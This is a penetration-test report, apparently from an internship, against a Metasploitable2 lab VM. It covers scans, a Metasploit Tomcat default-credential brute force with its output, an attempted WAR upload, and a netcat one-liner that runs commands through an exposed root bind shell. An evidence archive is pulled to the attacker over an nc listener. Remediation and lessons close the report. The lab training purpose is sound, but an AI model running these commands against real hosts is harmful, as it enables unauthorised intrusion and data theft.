



Week 2 – VAPT Report (Metasploitable2)

Target: 192.168.0.139 (Metasploitable2)

Intern: Aliya Ansari

Date: 04-11-2025

1. Executive summary

During a scheduled internal penetration test of the lab host **192.168.0.139**, we identified multiple critical weaknesses that allowed full system compromise. Notably, the Tomcat manager was accessible with default credentials (tomcat:tomcat) and a bind shell on TCP/1524 provided immediate root access. Evidence was collected, archived, and hashed. Immediate remediation (isolation, patching, credential rotation) is required. Detailed technical findings and recommended remediation are below.

2. Scope & methodology

Scope: Internal black-box test of the Metasploitable2 VM (192.168.0.139).

Methodology: PTES-aligned workflow:

1. Reconnaissance — network discovery and web content enumeration (Nmap, Gobuster).
2. Vulnerability scanning — service version detection and application scanning (Nmap -sV, Nikto).
3. Exploitation — use Metasploit modules and manual techniques to validate vulnerabilities.
4. Post-exploitation — proof-of-compromise, evidence collection, hashing.
5. Reporting — documentation of findings, remediation, and evidence.

3. Tools used

- Kali Linux (attacker)
- Metasploitable2 (target)
- nmap (-sS -sV and --script vuln)
- nikto
- gobuster
- curl
- ftp (anonymous)
- Metasploit Framework (auxiliary scanner / exploit modules)
- netcat (nc) for bind/reverse shells and file transfer
- sha256sum for integrity

4. Findings (technical)

ID	Vulnerability	Evidence file / command	CVSS (est.)	Priority
F-001	Exposed bind shell (port 1524) — root shell available	bindshell_1524_output.txt (whoami shows root)	10.0	Critical
F-002	Tomcat manager accessible + default creds (tomcat:tomcat)	Metasploit tomcat_mgr_login output (msf run)	9.8	Critical
F-003	Apache 2.2.8 (outdated) — directory indexing, mod_negotiation MultiViews	nikto_192-168-0-139.txt, phpinfo.html	7.5	High



ID	Vulnerability	Evidence file / command	CVSS (est.)	Priority
F-004	phpInfo page disclosed server details	phpinfo.html (contains mysql/pdo info)	6.5	Medium
F-005	phpMyAdmin accessible (unrestricted)	phpmyadmin_index.html	7.0	High
F-006	Anonymous FTP allowed with readable root directories	ftp_anonymous_list.txt	6.0	Medium

Notes on scoring: CVSS scores above are estimated for prioritization and map to expected impact: full compromise (10.0), remote code execution / credential-based admin access (9.8), information disclosure / outdated services (6–8 range).

5. What was done (actions & commands)

Recon & scanning

- `sudo nmap -sS -T4 -p- 192.168.0.139 -oN nmap_full_tcp_192-168-1-100.txt`
- `sudo nmap -sV -sC -p1-65535 -T4 192.168.0.139 -oN nmap_service_192-168-1-100.txt`
- `nikto -h http://192.168.0.139 -o ~/vapt/week2/nikto_192-168-0-139.txt`
- `gobuster dir -u http://192.168.0.139 -w /usr/share/wordlists/dirb/common.txt -t 50 -o ~/vapt/week2/gobuster_192-168-0-139.txt`

Application analysis

- Downloaded web pages / artifacts:
 - `curl -s http://192.168.0.139/phpinfo.php -o ~/vapt/week2/phpinfo.html`
 - `curl -sL http://192.168.0.139/phpMyAdmin/ -o ~/vapt/week2/phpmyadmin_index.html`
 - `curl -s http://192.168.0.139:8180/ -o ~/vapt/week2/tomcat_root.html`
 - `curl -s http://192.168.0.139:8180/manager/html -o ~/vapt/week2/tomcat_manager.html`

Exploitation

- Used Metasploit auxiliary scanner to find Tomcat credentials:
 - `use auxiliary/scanner/http/tomcat_mgr_login → set RHOSTS 192.168.0.139 set RPORT 8180 set THREADS 5 → run`
→ Output: Login Successful: tomcat:tomcat (saved in msf console logs).
- Attempted Tomcat upload exploit:
 - `use exploit/multi/http/tomcat_mgr_upload with HttpUsername tomcat/HttpPassword tomcat, LHOST 192.168.0.205 → run`
→ Upload attempt completed but payload execution failed (no session created). Saved output.

Post-exploitation & evidence collection

- Verified bind shell on port 1524 and executed:
- `( printf "whoami; id; uname -a; cat /etc/issue\n"; sleep 1 ) | nc 192.168.0.139 1524 -w 5 2>&1 | tee ~/vapt/week2/bindshell_1524_output.txt`
→ Output: `root@metasploitable:/#` and `uid=0`.
- Collected system artifacts, created `evidence_192-168-0-139.tar.gz` (sent to Kali with nc listener).



- Computed integrity hash on Kali:
 - sha256sum evidence_192-168-0-139.tar.gz →
5f37d37dfe0b617fad83570b9dd1c262ba20c47bbcb81ddf3081bfcd7a1c3a07

6. Evidence

Essential files:

- scans/nmap_full_tcp_192-168-1-100.txt
- scans/nmap_service_192-168-1-100.txt
- scans/nikto_192-168-0-139.txt
- scans/gobuster_192-168-0-139.txt
- web/phpinfo.html
- web/phpmyadmin_index.html
- exploits/msf_tomcat_mgr_login_output.txt (copy msf output)
- exploits/tomcat_upload_output.txt (exploit upload output)
- exploits/bindshell_1524_output.txt
- evidence/evidence_192-168-0-139.tar.gz
- evidence/evidence_hash.txt (contains the sha256 above)
- screenshots/

7. Screenshots — where and what to capture

Take screenshots at these points (high-value images for reports and repo):

1. screenshots/1_nmap_ports.png — full Nmap service listing (the nmap -sV output showing open ports).

```
kali@kali: ~  
$ sudo nmap -sS -T4 -p- 192.168.0.139 -oN nmap_full_tcp_192-168-1-100.txt  
  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 13:34 EST  
Nmap scan report for metasploitable (192.168.0.139)  
Host is up (0.0030s latency).  
Not shown: 65505 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2049/tcp  open  nfs  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
3632/tcp  open  distccd  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
6000/tcp  open  X11  
6667/tcp  open  irc  
6697/tcp  open  ircs-u  
8009/tcp  open  ajp13  
8180/tcp  open  unknown  
8787/tcp  open  msgsrvr  
35651/tcp open  unknown  
47212/tcp open  unknown  
48357/tcp open  unknown  
57336/tcp open  unknown  
MAC Address: 00:0C:29:EF:05:E4 (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds
```



```
kali@kali: ~
Session Actions Edit View Help
(kali@kali)~$ sudo nmap -sV -sC -p 1-65535 -T4 192.168.0.139 -oN nmap_service_192-168-1-100.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 13:36 EST
Nmap scan report for metasploitable (192.168.0.139)
Host is up (0.0027s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ ftp-syst:
|_  STAT:
|_  FTP server status:
|_    Connected to 192.168.0.205
|_    Logged in as ftp
|_    TYPE: ASCII
|_    No session bandwidth limit
|_    Session timeout in seconds is 300
|_    Control connection is plain text
|_    Data connections will be plain text
|_    vsFTPd 2.3.4 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ ssh-hostkey:
|_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_   2048 56:56:24:0f:21:1d:dea7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp      Postfix smtpd
|_ sslv2:
|_  SSLv2 supported
|_  ciphers:
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
|_  ssl-cert: Subject: commonName=ubuntu004-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_  Not valid before: 2010-03-17T14:07:45
|_  Not valid after: 2010-04-16T14:07:45
|_  ssl-date: 2025-11-06T18:39:37+00:00; +4s from scanner time.
|_  smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITIME, DSN
53/tcp    open  domain   ISC BIND 9.4.2

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb-os-discovery:
|_   OS: Unix (Samba 3.0.20-Debian)
|_   Computer name: metasploitable
|_   NetBIOS computer name:
|_   Domain name: localdomain
|_   FQDN: metasploitable.localdomain
|_   System time: 2025-11-06T13:39:11-05:00
|_ smb-security-mode:
|_   account_used: <blank>
|_   authentication_level: user
|_   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 1h15m05s, deviation: 2h30m03s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.94 seconds
```

2. screenshots/2_nikto_summary.png — Nikto top lines showing phpinfo, directory listing warnings.

```
Session Actions Edit View Help
(kali@kali)~$ nikto -h http://192.168.0.139 -o ~/vapt/week2/nikto_192-168-0-139.txt
- Nikto v2.5.0

+ Target IP: 192.168.0.139
+ Target Hostname: 192.168.0.139
+ Target Port: 80
+ Start Time: 2025-11-06 13:50:22 (GMT-5)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /~PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /~PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /~PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /~PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
```



3. screenshots/3_gobuster_results.png — Gobuster showing discovered folders (/phpMyAdmin, /phpinfo.php).

```
(kali@kali)~$ gobuster dir -u http://192.168.0.139 -w /usr/share/wordlists/dirb/common.txt -t 50 -o ~/vapt/week2/gobuster-192-168-0-139.txt

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.0.139
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./hta (Status: 403) [Size: 290]
./cgi-bin/ (Status: 403) [Size: 294]
./dav (Status: 301) [Size: 317] [→ http://192.168.0.139/dav/]
./htaccess (Status: 403) [Size: 295]
./index.php (Status: 200) [Size: 891]
./index (Status: 200) [Size: 891]
./phpMyAdmin (Status: 301) [Size: 324] [→ http://192.168.0.139/phpMyAdmin/]
./phpinfo.php (Status: 200) [Size: 48005]
./phpinfo (Status: 200) [Size: 47993]
./server-status (Status: 403) [Size: 299]
./httpsd (Status: 403) [Size: 295]
./test (Status: 301) [Size: 318] [→ http://192.168.0.139/test/]
./twiki (Status: 301) [Size: 319] [→ http://192.168.0.139/twiki/]
Progress: 4613 / 4613 (100.00%)

Finished
```

4. screenshots/4_phpinfo_page.png — browser/saved phpinfo.php rendered showing DB modules.

```
(kali@kali)~$ grep -IE 'mysql|pdo_mysql|pdo_mysql|user|pass|password|basedir|doc_root|upload_tmp_dir' ~/vapt/week2/phpinfo.html | true

/etc/php5/cgi/conf.d/mysql.ini,
/etc/php5/cgi/conf.d/mysql.ini,
/etc/php5/cgi/conf.d/pdo_mysql.ini,
/etc/php5/cgi/conf.d/pdo_mysql.ini
<tr><td class="e">doc_root</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">ignore_user_abort</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">open_basedir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">upload_tmp_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">user_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mbstring.http_input</td><td class="v">pass</td><td class="v">pass</td></tr>
<tr><td class="e">mbstring.http_output</td><td class="v">pass</td><td class="v">pass</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql MODULE_TYPE</td><td class="v">external</td><td class="v">external</td></tr>
<tr><td class="e">mysql SOCKET</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql INCLUDE</td><td class="v">1</td><td class="v">1</td></tr>
<tr><td class="e">mysql LIBS</td><td class="v">1</td><td class="v">1</td></tr>
<tr><td class="e">mysql.allow_persistent</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql.connect_timeout</td><td class="v">60</td><td class="v">60</td></tr>
<tr><td class="e">mysql.default_host</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_password</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_port</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_socket</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_user</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.max_links</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mysql.max_persistent</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mysql.trace_mode</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql SOCKET</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql.default_host</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_port</td><td class="v">3306</td><td class="v">3306</td></tr>
<tr><td class="e">mysql.default_socket</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.default_user</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mysql.max_links</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mysql.reconnect</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">module_mysql</td><td class="v">0</td><td class="v">0</td></tr>
```

5. screenshots/5_phpmyadmin_index.png — phpMyAdmin landing page or saved file.

```
(kali@kali)~$ head -n 15 ~/vapt/week2/phpinfo.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html><head>
<style type="text/css">
body {background-color: #ffffff; color: #000000;}
body, td, th, h1, h2 {font-family: sans-serif;}
pre {margin: 0px; font-family: monospace;}
a:link {color: #000099; text-decoration: none; background-color: #ffffff;}
a:visited {text-decoration: underline;}
table {border-collapse: collapse;}
</style>
<table border="1">
<tr>
<td>
This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
</td>
</tr>
<tr>
<td>
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
</td>
</tr>
<tr>
<td>
If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
</td>
</tr>
</table>
</div></body></html>
```



6. screenshots/6_msf_tomcat_login_success.png — msf console line Login Successful: tomcat:tomcat.

```
msf auxiliary(scanner/http/tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

  Name                Current Setting      Required  Description
  ----                -
  ANONYMOUS_LOGIN      false                yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS      false                no        Try blank passwords for all users
  BRUTEFORCE_SPEED     5                   yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS         false                no        Try each user/password couple stored in the current database
  DB_ALL_PASS          false                no        Add all passwords in the current database to the list
  DB_ALL_USERS         false                no        Add all users in the current database to the list
  DB_SKIP_EXISTING     none                 no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD             /usr/share/metasploit-framework/data/wordl no        The HTTP password to specify for authentication
  PASS_FILE            /usr/share/metasploit-framework/data/wordl no        File containing passwords, one per line
  Proxies              /usr/share/metasploit-framework/data/wordl no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, https, socks4, socks5, http, socks5h
  RHOSTS              192.168.0.139        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT               8080                 yes       The target port (TCP)
  SSL                  false                no        Negotiate SSL/TLS for outgoing connections
  STOP_ON_SUCCESS      false                yes       Stop guessing when a credential works for a host
  TARGETURI            /manager/html        yes       URI for Manager login. Default is /manager/html
  THREADS              1                   yes       The number of concurrent threads (max one per host)
  USERNAME             /usr/share/metasploit-framework/data/wordl no        The HTTP username to specify for authentication
  USERPASS_FILE       /usr/share/metasploit-framework/data/wordl no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS        false                no        Try the username as the password for all users
  USER_FILE            /usr/share/metasploit-framework/data/wordl no        File containing users, one per line
  VERBOSE              true                 yes       Whether to print output for all attempts
  VHOST                192.168.0.139        no        HTTP server virtual host

View the full module info with the info, or info -d command.

msf auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.0.139
RHOSTS => 192.168.0.139
msf auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
```

7. screenshots/7_tomcat_upload_attempt.png — msf upload attempt output (shows upload+failure).

```
msf auxiliary(scanner/http/tomcat_mgr_login) > run
[*] No active DB -- Credential data will not be saved!
192.168.0.139:8080 - Login Successful: tomcat:tomcat
192.168.0.139:8080 - LOGIN FAILED: admin:tomcat (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:admin (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:manager (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:role1 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:tomcat (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:s3cret (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:vagrant (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:QLogic66 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:password (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:changethis (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:toor (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:password1 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:Qw@buser1 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:kdsxc (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:owaspba (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:ADMIN (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: admin:xampp (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:tomcat (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:admin (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:manager (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:role1 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:root (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:tomcat (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:s3cret (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:vagrant (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:QLogic66 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:password (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:changethis (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:r00t (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:toor (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:password1 (Incorrect)
192.168.0.139:8080 - LOGIN FAILED: manager:j2deployer (Incorrect)
```



```
Session Actions Edit View Help
192.168.0.139:8180 - LOGIN FAILED: xampp:s3cret (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:vagrant (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:QLogic66 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:password (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:Password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:changethis (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:r00t (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:toor (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:j2deployer (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:0vW*busr1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:kdsxc (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:owaspba (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: ovwebusr:0vW*busr1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:owaspba (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:password (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin: (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:Password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:admin (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: both:tomcat (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: manager:manager (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: role1:role1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: role1:tomcat (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: role:changethis (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:Password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:changethis (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:password (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:password1 (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:r00t (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:root (Incorrect)
192.168.0.139:8180 - LOGIN FAILED: root:toor (Incorrect)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
```

8. screenshots/8_bindshell_whoami.png — terminal showing root@metasploitable:/#.

```
(kali@kali)-[~/vapt/week2/evidence]
$ nc -lvp 5555 > evidence_192-168-0-139.tar.gz
listening on [any] 5555 ...
connect to [192.168.0.205] from (UNKNOWN) [192.168.0.139] 59634
```

9. screenshots/9_evidence_hash.png — sha256sum output for evidence_192-168-0-139.tar.gz.

```
(kali@kali)-[~/vapt/week2/evidence]
$ sha256sum evidence_192-168-0-139.tar.gz
5f37d37dfe0b617fad83570b9dd1c262ba20c47bbcb81ddf3081bfcd7a1c3a07 evidence_192-168-0-139.tar.gz
```

8. Impact & risk

- **Immediate full compromise (root)** — high impact (confidentiality, integrity, availability).
- Default Tomcat credentials and management interfaces allow remote code deployment or configuration changes.
- phpinfo and phpMyAdmin exposures leak server configuration and may aid attackers.
- Unpatched/outdated services increase attack surface for known exploits.

9. Remediation

1. **Isolate** host from network immediately (containment).
2. **Remove bind shell** and any unknown persistent backdoors; rebuild VM from a known good image.
3. **Change/rotate credentials** (admin accounts, DB accounts) — ensure no default credentials remain.
4. **Patch or upgrade** services: update OS, Apache/Tomcat/MySQL to supported releases.
5. **Harden management interfaces**: restrict access via ACLs / firewall, disable unnecessary managers (Tomcat Manager), and remove web admin tools from internet or non-admin segments.
6. **Disable PHP info pages** and restrict directory indexing.
7. **Run authenticated vulnerability scans** across infrastructure to find similar exposures.



8. **Capture and store forensic images** if legal/incident response requires deeper investigation.

10. Key learnings

Vulnerability scanning vs. exploitation: Automated scanners (Nikto, Nmap scripts) surface likely issues, but manual verification is required to confirm exploitability and eliminate false positives. Example: Nikto identified phpinfo — passive info disclosure; we confirmed via curl and used that info to assess DB exposure.

- **Scoring & prioritization:** Use CVSS to rank findings. Full system compromise (root shell) is the highest priority (score ~10.0), followed by credentials that permit admin operations (Tomcat manager ~9.x). Patch and contain based on impact.
- **Exploitation ethics & rules:** Only test within the approved scope (lab VM). Ensure evidence integrity — archive artifacts and record SHA256 to prevent tampering.
- **Exploit limitations:** The Tomcat upload exploit uploaded a payload but the payload execution failed — shows necessity of multiple exploitation approaches and fallback methods (e.g., using valid manager credentials for manual exploit or alternative payloads).
- **Post-exploitation discipline:** After gaining access, collect minimal necessary evidence (whoami, /etc/passwd, uname -a), hash artifacts, and maintain chain-of-custody. Do not alter logs beyond what is necessary for proof.

11. Deliverables in the repository:

- scans/ (all scan outputs)
- web/ (phpinfo, phpmyadmin html)
- exploits/ (msf outputs, bindshell output)
- evidence/ (tar.gz and evidence_hash.txt)
- screenshots/
- week02_VAPT_report.pdf
- README.md



CYART

inquiry@cyart.io

www.cyart.io